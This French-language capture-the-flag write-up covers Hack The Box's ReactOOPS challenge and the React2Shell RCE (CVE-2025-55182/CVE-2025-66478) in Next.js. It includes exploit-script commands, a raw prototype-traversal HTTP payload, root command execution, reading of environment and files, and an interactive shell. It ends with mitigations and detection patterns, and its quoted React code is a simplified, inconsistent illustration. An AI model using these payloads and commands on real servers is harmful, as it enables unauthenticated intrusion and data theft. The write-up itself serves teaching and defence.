Hack The Box Writeup du challenge retiré ReactOOPS - Solution complète et guide pédagogique sur CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Comprend une analyse détaillée de la vulnérabilité, des techniques d'exploitation et du matériel d'apprentissage en équipe.
ReactOOPS est un défi web qui exploite CVE-2025-55182 / CVE-2025-66478, une vulnérabilité critique d'exécution de code à distance non authentifiée dans les React Server Components et le Next.js App Router.
Constatations clés :
hasOwnProperty dans la désérialisation du protocole FlightLe défi présente une application Next.js soignée exécutant l'interface d'assistant NexusAI. L'application semble traiter les entrées utilisateur via les React Server Components, mais des anomalies subtiles dans la couche réactive laissent entrevoir des vulnérabilités sous-jacentes.
L'application utilise :
Le protocole Flight est le format de sérialisation propriétaire de React pour transmettre des données entre le serveur et le client dans les architectures Server Component. Il utilise des références comme :
$1 - Référence à l'objet à la position 1$1:path:to:value - Traversée de chemin de propriétéCode vulnérable dans ReactFlightReplyServer.js de React :
// Ligne ~450 : fonction getOutlinedModel
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Traiter les références comme "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// BOUCLE VULNÉRABLE - AUCUNE VÉRIFICATION hasOwnProperty !
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Permet l'accès à la chaîne de prototypes
}
return obj;
}
}
La Version Sûre (Ce qu'elle devrait être) :
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Sans la vérification hasOwnProperty, un attaquant peut traverser :
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Étape 1 : Envoyer la référence "$1:__proto__:then"
│
├─ Accéder à myChunk[__proto__]
└─ Puis accéder à [then] sur le prototype
Étape 2 : Créer un faux objet de type Promise
│
└─ { then: maliciousFunction }
Étape 3 : React appelle await sur cet objet
│
├─ Invoque la méthode .then()
└─ Exécute la fonction de l'attaquant
Étape 4 : Exécution de Code Arbitraire
│
└─ Le code s'exécute dans le contexte serveur en tant que root
La vulnérabilité existe avant la validation de Next-Action :
Flux de traitement de la requête :
├─ Analyser les données du formulaire multipart
├─ Désérialiser le protocole Flight ← RCE se produit ICI
│ └─ Traiter les références et objets
│ └─ Aucune vérification hasOwnProperty !
├─ Extraire l'en-tête Next-Action
├─ Valider l'ID d'action ← Cela vient APRÈS
└─ Exécuter le gestionnaire d'action
En déclenchant la RCE pendant la désérialisation, les attaquants contournent tous les contrôles de sécurité au niveau des actions.
# Tester si le service répond
curl -v http://<IP>:PORT/
Attendu : Application Next.js servant du HTML avec RSC activé
Rechercher les indicateurs :
next-<script type="text/x-component">.nextL'indicateur le plus fiable est de tenter une attaque de pollution de prototype et d'observer la réponse :
# Charge utile de détection non destructive
# Envoie : ["$1:a:a"] référençant {}
# Vulnérable : {}.a.a lève une exception → HTTP 500 + E{"digest"
# Patché : hasOwnProperty empêche l'accès → pas de crash
# Naviguer vers le répertoire du défi
cd /Challenges/ReactOOPS
# Cloner le framework d'exploit react2shell
git clone https://github.com/freeqaz/react2shell.git
# Vérifier que tous les scripts sont exécutables
chmod +x react2shell/*.sh
Objectif : Confirmer que le serveur est vulnérable sans causer de dommages
cd react2shell
# Exécuter la sonde de détection
./detect.sh http://<IP>:PORT
Ce qu'elle fait :
Next-Action: x["$1:a:a"] référençant l'objet vide {}{}.a.aSortie attendue :
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Interprétation :
E{"digest" dans la réponse : ✅ Format de gestion d'erreur ReactObjectif : Vérifier l'exécution de commandes arbitraires
# Exécuter la commande 'id' sur le serveur distant
./exploit-redirect.sh -q http://<IP>:PORT "id"
Ce qu'il fait :
Next-Action: xSortie attendue :
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Point clé : La sortie montre uid=0(root) - le serveur web s'exécute en tant que root ! C'est une mauvaise configuration de sécurité qui amplifie l'impact.
Objectif : Explorer le système de fichiers et localiser les fichiers sensibles
# Vérifier le répertoire de travail actuel
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Sortie : /app/.next/standalone
# Lister le répertoire racine de l'application
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
Structure de Répertoire Découverte :
/app/
├── .next/ # Sortie de build Next.js
├── node_modules/ # Dépendances
├── app/ # Code source de l'application
├── public/ # Actifs statiques
├── flag.txt # ✅ FICHIER CIBLE (mode 600)
├── package.json
└── tsconfig.json
Constat Critique : Le fichier flag existe à /app/flag.txt avec des permissions restrictives (600)
Objectif : Lire le fichier flag
# Lire le flag
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"
Sortie :
HTB{jus7_REDACTED_2025-55182}
✅ Défi Terminé !
L'exploit construit une charge utile du protocole Flight. Voici à quoi ressemble une charge utile de commande :
POST / HTTP/1.1
Host: <IP>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. Analyser les données du formulaire multipart
→ name="1" → objet JSON avec la propriété "then"
→ name="0" → chaîne "$@1"
2. Traiter les références
→ "$@1" signifie "référence au chunk 1"
→ Chercher chunk[1].value
3. Résoudre le chemin de la référence
→ Référence : "$1:__proto__:then"
→ Diviser par deux-points : ["", "__proto__", "then"]
→ Commencer avec chunk[1]
→ Accéder à [__proto__] → traverser vers le prototype
→ Accéder à [then] → accéder à la méthode then
4. Construire une fausse Promise
→ Créer un objet avec une méthode .then()
→ La méthode contient la charge utile de la commande
5. Exécuter le .then() de la Promise
→ React traite comme un objet de type Promise
→ Appelle le gestionnaire .then()
→ LE CODE S'EXÉCUTE EN TANT QUE ROOT
| Script | Mécanisme | Code HTTP | Détection |
|---|---|---|---|
| exploit-redirect.sh | Traversée de prototype + chaîne Promise | 303 | x-action-redirect |
| exploit-throw.sh | Erreur dans try-catch | 500 | Erreur dans le corps |
| exploit-blind.sh | Canal auxiliaire (écriture fichier, DNS) | 200 | Hors-bande |
| exploit-reflect.sh | Réflexion directe dans la réponse | 200 | Sortie de commande dans le corps |
| shell.sh | Wrapper interactif | Variable | Interface REPL |
Nous avons utilisé exploit-redirect.sh car :
Actions Immédiates (Avant le Correctif) :
Désactiver RSC si non nécessaire
// next.config.js
module.exports = {
experimental: {
rsc: false // Désactiver les React Server Components
}
}
Restreindre l'utilisation de Next-Action
// middleware.ts
export function middleware(request) {
// Rejeter toutes les requêtes POST avec Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
Segmentation Réseau
# Autoriser uniquement les sources de confiance
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
Appliquer le Correctif Immédiatement :
# Mettre à jour Next.js
npm install next@latest
# Ou version corrigée spécifique
npm install [email protected]
# Vérifier les versions
npm ls next react-server-dom-webpack
Durcissement de la Sécurité :
Exécuter les serveurs web en non-root
# NE PAS faire ceci :
RUN npm start # En root
# FAIRE ceci :
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
Validation des Entrées
// Valider toutes les entrées du protocole Flight
app.post('/api/*', (req, res) => {
// Rechercher des motifs suspects
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Invalid input');
}
});
Limitation de Débit
// Limiter les requêtes POST par IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
Règles WAF :
# Détecter les tentatives de pollution de prototype
Si Request.Method == "POST" ET
Request.Body Contient "__proto__" OU
Request.Body Contient ":then" OU
Request.Body Contient ":constructor"
Alors Alerter + Bloquer
Surveillance des Logs :
# Rechercher des motifs suspects
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
Détection Comportementale :
// Surveiller les exécutions de commandes inhabituelles
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implémenter une application de politique
return original_spawn.apply(this, args);
};
Un Seul Contrôle Manquant = Vulnérabilité Critique
hasOwnProperty a été importé mais pas utiliséLa Chaîne de Prototypes est Dangereuse
obj[key]hasOwnProperty ou Object.create(null) pour les entrées non fiablesLa Désérialisation Avant la Validation est Risquée
Les Privilèges par Défaut des Processus Comptent
La Détection Non Destructive est Précieuse
detect.sh prouve la vulnérabilité sans causer de dommagesReconnaissance Systématique
Comprendre la Technologie
| Heure | Action | Résultat |
|---|---|---|
| T+0s | Test de connexion initial | Service répond |
| T+10s | Exécuter detect.sh | VULNÉRABLE confirmé |
| T+30s | Exécuter la commande id | Privilèges root confirmés |
| T+1m | Lister le répertoire /app | Emplacement du flag trouvé |
| T+1m 30s | Lire le fichier flag | Flag extrait |
| T+2m | Vérification | Défi terminé |
# Exploit en une ligne
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"
# Lancer un shell interactif complet
./shell.sh http://<IP>:PORT
# Commandes courantes :
id # Afficher les infos utilisateur
pwd # Répertoire courant
ls -la # Lister les fichiers
cat /app/flag.txt # Lire le flag
cd /var/log # Changer de répertoire
download flag.txt # Télécharger un fichier
# Informations système
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Variables d'environnement
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Processus en cours
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Connexions réseau
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Source de l'application
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"